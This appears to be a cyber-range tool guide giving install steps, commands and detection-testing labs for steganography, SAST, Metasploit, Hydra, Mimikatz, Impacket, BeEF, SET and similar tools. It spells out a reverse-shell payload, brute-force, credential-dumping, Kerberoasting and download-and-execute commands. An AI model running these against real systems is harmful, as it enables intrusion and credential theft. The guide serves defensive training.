Debrief. You submit the flag and log the passphrase in the CTF notes.

zsteg

zed-0xff · v0.2.13 · Data decoding, cryptanalysis & analysis

zsteg detects LSB steganography in PNG and BMP images by walking bit planes, channels and pixel orders.

Installation

Step 1
Enable on the shelf
Data decoding → zsteg.
Step 2
Manual install
Ruby gem.
```
gem install zsteg
```

Common commands

Step 1
Default scan
Prints hits with their locator (e.g. b1,rgb,lsb,xy).
```
zsteg suspect.png
```
Step 2
Extract a specific locator
Pull the payload out of the identified plane.
```
zsteg -E 'b1,rgb,lsb,xy' suspect.png > payload.bin
```

Lab scenario — Find the LSB message

A PNG in the case folder is suspected of hiding a text message.

Step 1
Scan
The default run surfaces the hit.
```
zsteg secret.png
```

Step 2

Extract

Use the locator zsteg reports.

zsteg -E 'b1,rgb,lsb,xy' secret.png > out.txt

Step 3
Read
cat the payload.
```
cat out.txt
```

Debrief. You have the plaintext message. Attach the locator and the extracted file to the ticket.

StegSolve

Caesum · v1.4 · Data decoding, cryptanalysis & analysis

StegSolve is the Java image analyzer CTF players live in: cycle bit planes and color maps until hidden pixels become readable.

Installation

Step 1
Enable on the shelf
Data decoding → StegSolve.
Step 2
Launch
Runs as a Java jar.
```
java -jar stegsolve.jar
```

Common commands

Step 1
Open the image
File → Open.
Step 2
Cycle bit planes
Arrow keys walk through red/green/blue planes 0..7 and gray bits.
Step 3
Data Extract
Analyze → Data Extract pulls raw bytes from selected planes.

Lab scenario — Spot the drawn message

One channel of the image carries an authored payload rendered as visible pixels on the right plane.

Step 1
Open the PNG
File → Open.
Step 2
Walk the planes
Arrow through until a message appears in the pixels.
Step 3
Extract from Data Extract
Save the resulting bytes.

Debrief. The visible plane is the one to remember for the writeup — it is how the challenge was constructed.

Audacity

Audacity Team · v3.4.2 · Data decoding, cryptanalysis & analysis

Audacity opens simulated audio and switches between waveform and spectrogram — the view where messages drawn into the frequency bands become legible.

Installation

Step 1
Enable on the shelf
Data decoding → Audacity.
Step 2
Manual install
Debian package.
```
sudo apt install -y audacity
```

Common commands

Step 1
Open a track
File → Open a .wav or .mp3 from the case folder.
Step 2
Switch to spectrogram
Track dropdown → Spectrogram.
Step 3
Zoom the frequency axis
Ctrl-scroll to zoom the vertical band.

Lab scenario — Read the message in the audio

A CTF audio file hides text in the spectrogram.

Step 1
Open the file
Drop it onto Audacity.
Step 2
Switch view
Track dropdown → Spectrogram.
Step 3
Read the message
Text appears in the frequency bands.

Debrief. Screenshot the spectrogram for the writeup and submit the flag.

ExifTool

Phil Harvey · v12.76 · Data decoding, cryptanalysis & analysis

ExifTool reads and edits file metadata — EXIF, IPTC, XMP, PDF Info, Office properties. It is the first tool a case worker reaches for on a suspicious file.

Installation

Step 1
Enable on the shelf
Data decoding → ExifTool.

Step 2

Manual install

Debian package.

sudo apt install -y libimage-exiftool-perl

Common commands

Step 1
Read all metadata
Everything the file carries.
```
exiftool suspect.jpg
```
Step 2
Just GPS
Where was the photo taken?
```
exiftool -gps:all suspect.jpg
```
Step 3
Recursively over a folder
Useful for a bag of files.
```
exiftool -r /cases/2043/
```

Lab scenario — Confirm a document leaked its author

A leaked PDF is in the case folder. Prove who created it.

Step 1
Read the PDF Info
Author, Creator, CreationDate are usually all populated.
```
exiftool leak.pdf
```
Step 2
Cross-check with HR
The Author field matches a real account.

Debrief. You have named the source in the ticket, backed by file metadata.

Standards, guidance & secure-development tooling

OWASP toolchain (ZAP + Dependency-Check)

OWASP Foundation · vZAP 2.15.0 / Dependency-Check 9.2.0 · Standards, guidance & secure-development tooling

The OWASP toolchain in the range covers ZAP (proxy + automated scanner), Dependency-Check (SCA) and offline copies of the Top 10, ASVS and Testing Guide.

Installation

Step 1
Enable on the shelf
Standards, guidance & secure-development tooling → OWASP toolchain.
Step 2
Manual install
Two Debian packages give you both tools.
```
sudo apt install -y zaproxy dependency-check
```

Common commands

Step 1
Baseline scan with ZAP
Quick, safe passive scan of a URL.
```
zap-cli quick-scan --self-contained https://shop.range.local
```
Step 2
Run Dependency-Check on a project
Reports each library against known CVEs.
```
dependency-check --project shop --scan /repos/shop --format HTML
```
Step 3
Read the guidance
The Top 10 and ASVS PDFs are under /usr/share/owasp/.

Lab scenario — Map findings to a standard

Leadership wants every finding tagged with its OWASP Top 10 category.

Step 1
Scan the app
Use ZAP to produce a JSON report.
```
zap-cli report -o zap.json -f json
```

Step 2

Run SCA

Add Dependency-Check for library CVEs.

dependency-check --project shop --scan /repos/shop --format JSON --out sca.json

Step 3
Tag with the Top 10
Cross-reference each finding to its category (A03 Injection, A05 Misconfig, A06 Vulnerable Components…).

Debrief. You produce one dashboard by Top 10 category — the format leadership actually reads.

Semgrep

Semgrep Inc. · v1.79.0 · Standards, guidance & secure-development tooling

Semgrep is a fast, rules-based SAST. Rules read almost like the code they match, so writing your own is quick.

Installation

Step 1
Enable on the shelf
Web application security testing → Semgrep.
Step 2
Manual install
Python package.
```
pip install semgrep
```

Common commands

Step 1
Community ruleset
Sensible default coverage.
```
semgrep --config p/ci /repos/shop
```
Step 2
OWASP ruleset
Focused on Top 10 patterns.
```
semgrep --config p/owasp-top-ten /repos/shop
```
Step 3
Write a rule
Save as sqli.yml then run against the repo.
```
semgrep --config sqli.yml /repos/shop
```

Lab scenario — Catch a raw SQL string in the diff

PR review flagged raw SQL. Codify it.

Step 1
Draft the rule
Detects string concatenation into a SQL call.
Step 2
Run against the repo
Both the branch and main.
```
semgrep --config sqli.yml /repos/shop
```
Step 3
Wire into CI
Add semgrep to the pre-merge check.

Debrief. The same class of bug cannot merge again — the check catches it.

CBOM Scanner

CycloneDX CBOM community (CipherIQ / OQS Scanner alike) · v1.4.0 · Standards, guidance & secure-development tooling

Probes TLS, SSH, certificates, crypto libraries and hard-coded keys across the estate, grades each against quantum risk, CNSA 2.0 and NIST IR 8547, flags harvest-now-decrypt-later exposure and writes a CycloneDX 1.6 cryptographic bill of materials.

Installation

Step 1
Enable on the shelf
Advanced security tools → tick CBOM Scanner. Labs that need it lock the toggle on.
Step 2
Manual install
What a real operator would type.
```
apt install cbom-scan
```

Common commands

Step 1
cbom-scan
Runs against the scenario's authored fixtures.
```
cbom-scan
```

Lab scenario — Practice CBOM Scanner in the range

Cryptographic discovery and post-quantum readiness with a CycloneDX 1.6 CBOM.

Step 1
Open the tool
From the desktop or the terminal, launch CBOM Scanner.
```
cbom-scan
```
Step 2
Work through a task
Follow the scenario brief; every command targets simulated hosts and authored data.
Step 3
Record your findings
Attach output to the mission ticket for grading.

Debrief. Reads the lab's authored crypto posture for each simulated machine. Nothing on a real network is probed.

Open Quantum Safe (liboqs + oqs-provider)

Open Quantum Safe project (Linux Foundation PQCA) · v0.14.0 · Standards, guidance & secure-development tooling

liboqs 0.14 with the OpenSSL oqs-provider: ML-KEM, ML-DSA, SLH-DSA plus HQC, FrodoKEM, BIKE, Classic McEliece and FN-DSA. oqs-bench compares key, ciphertext and signature sizes, relative cost and TLS ClientHello fit; openssl genpkey/list gain the extra algorithms.

Installation

Step 1
Enable on the shelf
Advanced security tools → tick Open Quantum Safe (liboqs + oqs-provider). Labs that need it lock the toggle on.
Step 2
Manual install
What a real operator would type.
```
apt install liboqs-tools oqs-provider
```

Common commands

Step 1
oqs-bench
Runs against the scenario's authored fixtures.
```
oqs-bench
```
Step 2
lms-tool
Runs against the scenario's authored fixtures.
```
lms-tool
```

Lab scenario — Practice Open Quantum Safe (liboqs + oqs-provider) in the range

Post-quantum KEMs and signatures beyond the NIST set, for comparison and testing.

Step 1
Open the tool
From the desktop or the terminal, launch Open Quantum Safe (liboqs + oqs-provider).
```
oqs-bench
```
Step 2
Work through a task
Follow the scenario brief; every command targets simulated hosts and authored data.
Step 3
Record your findings
Attach output to the mission ticket for grading.

Debrief. Sizes are the published parameter sets; speeds are illustrative. No cryptography runs.

Exploitation frameworks

Metasploit Framework

Rapid7 · v6.4.9 · Exploitation frameworks

Metasploit provides modules, payload generation (msfvenom) and post-exploitation. In the range it is used to reproduce an attack and confirm your detection fires.

Installation

Step 1
Enable on the shelf
Exploitation frameworks → Metasploit. Locked on for adversary emulation labs.
Step 2
Manual install
The framework ships as a single package.
```
sudo apt install -y metasploit-framework
```
Step 3
Initialize the database
So `hosts`, `services` and workspace tracking work.
```
sudo msfdb init
```

Common commands

Step 1
Start the console
Menu-driven module search and use.
```
msfconsole -q
```
Step 2
Search a CVE
Everything after `search` becomes a filter.
```
search cve:2021-44228
```
Step 3
Use a module
Read `info`, then `set` the required options and `run`.
```
use exploit/multi/http/log4shell_header_injection
```
Step 4
Generate a payload with msfvenom
Produces an inert artifact plus the telemetry it would create.
```
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.4.5 LPORT=443 -f exe -o beacon.exe
```
Step 5
Search offline exploit index
Local mirror of exploit-db.
```
searchsploit apache tomcat
```

Lab scenario — Reproduce an attack to test the detection

Your Sysmon rule for suspicious PowerShell should catch a common payload. Prove it.

Step 1
Pick the module
Search for PowerShell reverse shell.
```
search powershell reverse_tcp
```
Step 2
Configure it
Set LHOST/LPORT to the analyst box.
Step 3
Generate and run
The range fires the artifact against the target and writes the resulting telemetry into Sysmon/Splunk.
Step 4
Confirm the detection
In Splunk, search `EventCode=4104 ScriptBlockText=*IEX*`.

Debrief. You have proof the detection fires. If it didn't, the rule needs tuning — that is the point of the drill.

BeEF

BeEF Project · v0.5.4 · Exploitation frameworks

BeEF hooks a browser and lets you run command modules against it — the demonstration of what an XSS actually enables.

Installation

Step 1
Enable on the shelf
Exploitation frameworks → BeEF.
Step 2
Manual install
Linux-only.
```
sudo apt install -y beef-xss
```
Step 3
Open the console
The shelf lists the URL.
```
open http://beef.range.local:3000/ui/panel
```

Common commands

Step 1
Hook a simulated victim
The range provides a fixture browser to hook.
Step 2
Run a module
Fingerprint browser → Get Cookie → Social-engineering prompt.

Lab scenario — Show the impact of a reflected XSS

You need to explain to leadership what 'reflected XSS' actually costs.

Step 1
Deliver the hook
The range simulates the victim opening the vulnerable page.
Step 2
Read the session cookie
One of the built-in modules.
Step 3
Screenshot the panel
For the exec summary.

Debrief. Reflected XSS is now a hijacked session in the exec deck, not a jargon word.

Credential attack & password auditing

THC-Hydra

The Hacker's Choice · v9.5 · Credential attack & password auditing

Hydra runs parallel login attempts across many protocols. Defensively you use it to generate the failed-logon storm your detection is supposed to catch.

Installation

Step 1
Enable on the shelf
Credential attack & password auditing → THC-Hydra.
Step 2
Manual install
One package covers all protocol modules.
```
sudo apt install -y hydra
```

Common commands

Step 1

SSH with a wordlist

-t controls parallelism.

hydra -l admin -P /usr/share/wordlists/rockyou.txt -t 4 ssh://10.20.0.42

Step 2

HTTP form login

F= marks the failure string.

hydra -L users.txt -P pass.txt 10.20.0.42 http-post-form '/login:user=^USER^&pass=^PASS^:F=Invalid'

Step 3
Filter a wordlist first
Trim entries that cannot satisfy the target policy.
```
pw-inspector -i rockyou.txt -o candidates.txt -m 8 -c 1 -n
```

Lab scenario — Trigger the SSH brute-force alert

You wrote a Splunk rule for 20 failed SSH logons in a minute. Trigger it deliberately.

Step 1
Build a candidate list
Keep the wordlist small so the run is quick.
```
pw-inspector -i rockyou.txt -o small.txt -m 8 -c 1
```
Step 2
Run Hydra
-t 8 will comfortably clear the threshold.
```
hydra -l root -P small.txt -t 8 ssh://10.20.0.42
```
Step 3
Confirm the alert fired
Splunk → Alerts → the SSH rule should be red.

Debrief. The alert fires. If not, tune down the threshold or window and rerun.

John the Ripper

Openwall · v1.9.0-jumbo-1 · Credential attack & password auditing

John the Ripper cracks password hashes offline. In the range it runs on authored hash lists — no GPU, no external corpus.

Installation

Step 1
Enable on the shelf
Credential attack & password auditing → John the Ripper.
Step 2
Manual install
Debian package.
```
sudo apt install -y john
```

Common commands

Step 1
Identify the format
John's format detector.
```
john --list=formats | grep -i sha
```

Step 2

Wordlist mode

The default first pass.

john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

Step 3
Show cracked
Print the results.
```
john --show hashes.txt
```

Lab scenario — Audit a password dump

You have a shadow file from a decommissioned box.

Step 1
Unshadow first
Combine passwd + shadow.
```
unshadow passwd shadow > hashes.txt
```
Step 2
Wordlist run
Rockyou is the sensible start.
```
john --wordlist=rockyou.txt hashes.txt
```
Step 3
Show hits
How many, and which users.
```
john --show hashes.txt
```

Debrief. Cracked ratio and account list feed the password policy review.

Hashcat

hashcat.net · v6.2.6 · Credential attack & password auditing

Hashcat is the fast hash-cracking tool. In the range GPU access is refused; runs happen in CPU-only mode over authored hash lists.

Installation

Step 1
Enable on the shelf
Credential attack & password auditing → Hashcat.
Step 2
Manual install
Debian package.
```
sudo apt install -y hashcat
```

Common commands

Step 1

Dictionary

-m sets the hash mode.

hashcat -m 1800 -a 0 hashes.txt rockyou.txt

Step 2

Rule-based

Apply a rule file to the dictionary.

hashcat -m 1800 -a 0 -r rules/best64.rule hashes.txt rockyou.txt

Step 3
Show cracked
hash:plaintext lines.
```
hashcat -m 1800 hashes.txt --show
```

Lab scenario — Compare rules on the same corpus

You want to know if best64 finds meaningfully more than a straight wordlist.

Step 1

Baseline

Straight dictionary.

hashcat -m 1800 -a 0 hashes.txt rockyou.txt

Step 2

With rules

Same hashes, best64 mutation.

hashcat -m 1800 -a 0 -r rules/best64.rule hashes.txt rockyou.txt

Step 3

Diff cracked lists

How many more?

hashcat -m 1800 hashes.txt --show | wc -l

Debrief. Numbers, not opinions, feed the case for a stronger password policy.

Aircrack-ng

Aircrack-ng Project · v1.7 · Credential attack & password auditing

Aircrack-ng is the WPA/WEP toolkit. The range provides an authored capture with a handshake — no radio access.

Installation

Step 1
Enable on the shelf
Credential attack & password auditing → Aircrack-ng.
Step 2
Manual install
Debian package.
```
sudo apt install -y aircrack-ng
```

Common commands

Step 1
Confirm the handshake is in the capture
Aircrack refuses to crack without one.
```
aircrack-ng capture.cap
```
Step 2
Crack with a wordlist
-w points at the wordlist.
```
aircrack-ng -w rockyou.txt capture.cap
```

Lab scenario — Prove the WPA passphrase is weak

The captured handshake is in /labs/wifi/handshake.cap.

Step 1
Detect the handshake
Reports the ESSID if present.
```
aircrack-ng handshake.cap
```

Step 2

Crack

Runs on CPU only.

aircrack-ng -w rockyou.txt handshake.cap

Debrief. The passphrase drops out; recommend a longer, non-dictionary key.

Responder

Laurent Gaffié · v3.1.4 · Credential attack & password auditing

Responder answers broadcast name resolution (LLMNR/NBT-NS/mDNS) to catch NTLM authentication attempts. Defenders use it to make sure they've disabled it network-wide.

Installation

Step 1
Enable on the shelf
Credential attack & password auditing → Responder.
Step 2
Manual install
Debian package.
```
sudo apt install -y responder
```

Common commands

Step 1
Run on the analyst subnet
The range simulates victim broadcasts.
```
sudo responder -I eth0 -A
```
Step 2
Read the log
Captured hashes go under /var/lib/responder/.
```
ls /var/lib/responder/logs/
```

Lab scenario — Confirm LLMNR is disabled

GPO says LLMNR is off. Verify.

Step 1
Fire Responder
Passive analyze mode is safest.
```
sudo responder -I eth0 -A
```
Step 2
Wait one traffic cycle
The range plays the authored broadcasts.
Step 3
Check for hits
If any hash lands, the GPO is not effective.
```
grep -R NTLMv2 /var/lib/responder/logs/
```

Debrief. You have a straight yes/no for the GPO owners.

Mimikatz

Benjamin Delpy (gentilkiwi) · v2.2.0 (20231121) · Credential attack & password auditing

Mimikatz is the reference credential-extraction tool. In the range it produces the artifact and telemetry a real invocation would, without actually reading LSASS.

Installation

Step 1
Enable on the shelf
Post-exploitation & lateral movement → Mimikatz.
Step 2
Launch
PowerShell entry point.
```
.\mimikatz.exe
```

Common commands

Step 1
Elevate to debug
Prerequisite for the sensitive commands.
```
privilege::debug
```
Step 2
sekurlsa::logonpasswords
The archetypal LSASS read.
```
sekurlsa::logonpasswords
```

Lab scenario — Prove your LSASS-access detection works

You have a Sysmon rule on ProcessAccess to lsass.exe. Confirm.

Step 1
Run mimikatz
The range emits the telemetry Sysmon would see.
Step 2
Splunk
EventCode=10 TargetImage=*lsass.exe* should return the hit.

Debrief. The rule fires and names the source process. If not, the config exclusions are too broad.

Post-exploitation & lateral movement

Impacket

Fortra (SecureAuth) · v0.12.0 · Post-exploitation & lateral movement

Impacket is the Python toolbox for Windows and AD protocols: SMB, MSRPC, LDAP, Kerberos. Defenders use it to produce the telemetry AD detections rely on.

Installation

Step 1
Enable on the shelf
Post-exploitation & lateral movement → Impacket.
Step 2
Manual install
Ships as a Python package with a set of example scripts.
```
pip3 install impacket
```

Common commands

Step 1
psexec-style command execution
Writes Service Control events and 4624/4688 logins.
```
impacket-psexec RANGE/svc_admin:'P@ss'@10.20.0.10
```
Step 2
AS-REP roasting
Requests roastable tickets for accounts without preauth.
```
impacket-GetNPUsers RANGE/ -usersfile users.txt -no-pass -dc-ip 10.20.0.10
```

Step 3

Kerberoasting

Requests service tickets to crack offline.

impacket-GetUserSPNs RANGE/analyst:'P@ss' -dc-ip 10.20.0.10 -request

Step 4
DCSync (privileged)
Only if the account has the right — the range models the 4662 event either way.
```
impacket-secretsdump RANGE/da@10.20.0.10
```

Lab scenario — Generate the events your Kerberoast detection needs

The AD hunt has a rule for TGS requests with RC4. Fire the rule.

Step 1

Run GetUserSPNs

Requests roastable tickets.

impacket-GetUserSPNs RANGE/analyst:'P@ss' -dc-ip 10.20.0.10 -request

Step 2
Check DC event log
Look for 4769 with TicketEncryptionType=0x17.
Step 3
Confirm the SIEM alert
Splunk → the Kerberoast search should list the account.

Debrief. The detection fires with the account name and workstation the request came from — good enough for a real IR playbook.

CrackMapExec / NetExec

Porchetta Industries (community) · v1.3.0 (netexec) · Post-exploitation & lateral movement

CrackMapExec (now NetExec) sweeps SMB/WinRM/MSSQL across a Windows estate and reports what an account can reach.

Installation

Step 1
Enable on the shelf
Post-exploitation & lateral movement → CrackMapExec.
Step 2
Manual install
Community fork installs as a Python package.
```
pipx install netexec
```

Common commands

Step 1
Test creds across a subnet
Reports Pwn3d! where the account is an admin.
```
nxc smb 10.20.0.0/24 -u analyst -p 'P@ss'
```
Step 2
Enumerate shares
Where SMB is reachable, list what the user sees.
```
nxc smb 10.20.0.0/24 -u analyst -p 'P@ss' --shares
```
Step 3
Run a command via WinRM
Where the account is admin.
```
nxc winrm 10.20.0.10 -u da -p 'P@ss' -x whoami
```

Lab scenario — Map admin sprawl

Find how many hosts the workstation admin group actually reaches.

Step 1
Sweep with the workstation admin creds
Any host that returns Pwn3d! is over-privileged.
```
nxc smb 10.20.0.0/24 -u wsadmin -p 'P@ss'
```

Step 2

Export the list

Redirect the output for the report.

nxc smb 10.20.0.0/24 -u wsadmin -p 'P@ss' | tee sprawl.txt

Debrief. You have a concrete list of over-privileged hosts to hand to identity governance.

PowerSploit

PowerShellMafia (archived, still widely referenced) · v3.0.0 · Post-exploitation & lateral movement

PowerSploit is a set of offensive PowerShell modules (PowerView, PowerUp, persistence, script modification). Defenders read the resulting Script Block logs.

Installation

Step 1
Enable on the shelf
Post-exploitation & lateral movement → PowerSploit.
Step 2
Manual import
Load the module into the PowerShell session.
```
Import-Module .\PowerSploit.psd1
```

Common commands

Step 1
AD recon (PowerView)
Enumerates users, groups and ACLs.
```
Get-NetUser | Select samaccountname, memberof
```
Step 2
Local priv-esc checks (PowerUp)
One-shot check for common misconfigurations.
```
Invoke-AllChecks
```
Step 3
Find writable service binaries
Classic misconfig.
```
Get-ServiceUnquoted
```

Lab scenario — Hunt PowerSploit in Script Block logs

Run Invoke-AllChecks and confirm the SIEM catches it via 4104.

Step 1
Fire the module
In an elevated PowerShell.
```
Invoke-AllChecks
```

Step 2

Search Splunk

4104 events include the script text.

index=win EventCode=4104 ScriptBlockText=*Invoke-AllChecks*

Debrief. Script Block logging catches the module by name — a good baseline detection.

Atomic Red Team

Red Canary · v24.06 · Post-exploitation & lateral movement

Atomic Red Team is a library of small, MITRE ATT&CK-mapped tests. In the range they are executed as controlled telemetry generators — no live binary runs.

Installation

Step 1
Enable on the shelf
Post-exploitation & lateral movement → Atomic Red Team.

Step 2

Manual install

PowerShell module Invoke-AtomicRedTeam.

IEX (IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1')

Common commands

Step 1
List tests for a technique
T1059.001 = PowerShell.
```
Invoke-AtomicTest T1059.001 -ShowDetailsBrief
```
Step 2
Run one test
Emits the telemetry the technique would.
```
Invoke-AtomicTest T1059.001 -TestNumbers 1
```

Step 3

Clean up

Undoes side effects the test made.

Invoke-AtomicTest T1059.001 -TestNumbers 1 -Cleanup

Lab scenario — Prove coverage for T1053.005

You claim you detect Scheduled Task creation. Prove it.

Step 1
Pick a test
T1053.005 has several one-liners.
```
Invoke-AtomicTest T1053.005 -ShowDetailsBrief
```
Step 2
Run test #1
It creates a benign task in the range.
```
Invoke-AtomicTest T1053.005 -TestNumbers 1
```
Step 3
Check Splunk
The Sysmon EventCode=1 with schtasks.exe should light up.

Step 4

Clean up

Remove the task.

Invoke-AtomicTest T1053.005 -TestNumbers 1 -Cleanup

Debrief. Coverage claim now has evidence — the exact log line and query that satisfied it.

BloodHound

SpecterOps · v5.13.0 · Post-exploitation & lateral movement

BloodHound maps Active Directory attack paths from a SharpHound collection.

Installation

Step 1
Enable on the shelf
Post-exploitation & lateral movement → BloodHound.
Step 2
Launch the console
Menu → BloodHound.

Common commands

Step 1
Collect with SharpHound
The range provides an authored dataset.
```
SharpHound.exe -c All
```
Step 2
Import to BloodHound
Drag the zip onto the app.
Step 3
Run a query
Analysis → Shortest Paths to Domain Admins.

Lab scenario — Find the shortest path to DA

How many hops from a normal user to Domain Admin?

Step 1
Import the collection
Drop the zip on the app.
Step 2
Shortest Paths to Domain Admins
Read the graph — edges are labeled with the abusable relationship.

Debrief. You have a picture the AD owners can act on: which edges to remove first.

Social engineering & phishing simulation

Luckystrike

Curi0usJack (community, archived) · v2.0 · Social engineering & phishing simulation

Luckystrike builds weaponised Office documents for phishing simulations. In the range it produces inert document metadata and the matching telemetry.

Installation

Step 1
Enable on the shelf
Social engineering & phishing simulation → Luckystrike.
Step 2
Launch it
PowerShell entry point in the toolbox.
```
.\luckystrike.ps1
```

Common commands

Step 1
Create a payload
Menu 1 → macro payload.
Step 2
Attach to a document
Menu 2 → embed into an .xlsm/.docm.
Step 3
Save the artifact
The document is inert; only metadata and telemetry are produced.

Lab scenario — Test the mail gateway's macro block

Confirm the mail gateway strips macro documents.

Step 1
Build a macro doc
Any payload — content does not matter, only the file type.
Step 2
Send it to the test mailbox
Use the simulated mail client on the desktop.
Step 3
Check delivery
The gateway should quarantine it and log the reason.

Debrief. If the doc lands in the inbox, the policy is wrong. If it is quarantined, screenshot the log for the awareness report.

Social-Engineer Toolkit (SET)

TrustedSec · v8.0.3 · Social engineering & phishing simulation

The Social-Engineer Toolkit walks you through spear-phishing, credential-harvesting site clones, mass mailers and USB drops. In the range everything stays inside the sandbox.

Installation

Step 1
Enable on the shelf
Social engineering & phishing simulation → SET.
Step 2
Manual install
Linux-only.
```
sudo apt install -y set
```

Common commands

Step 1
Launch
Menu-driven from the terminal.
```
sudo setoolkit
```
Step 2
Website Attack Vectors → Credential Harvester
Menu 1 → 2 → 3.
Step 3
Clone a target site
Enter the in-range URL; SET renders a look-alike fixture.

Lab scenario — Stand up a credential-harvest page

Run an authorized awareness test against a small group.

Step 1
Clone the SSO page
Point SET at the range SSO fixture URL.
Step 2
Capture attempts
SET logs each POST with the timestamp and source.
Step 3
Debrief
Attach the log to the awareness ticket.

Debrief. You produce a small, defensible sample of who clicked and typed — the raw material for targeted training.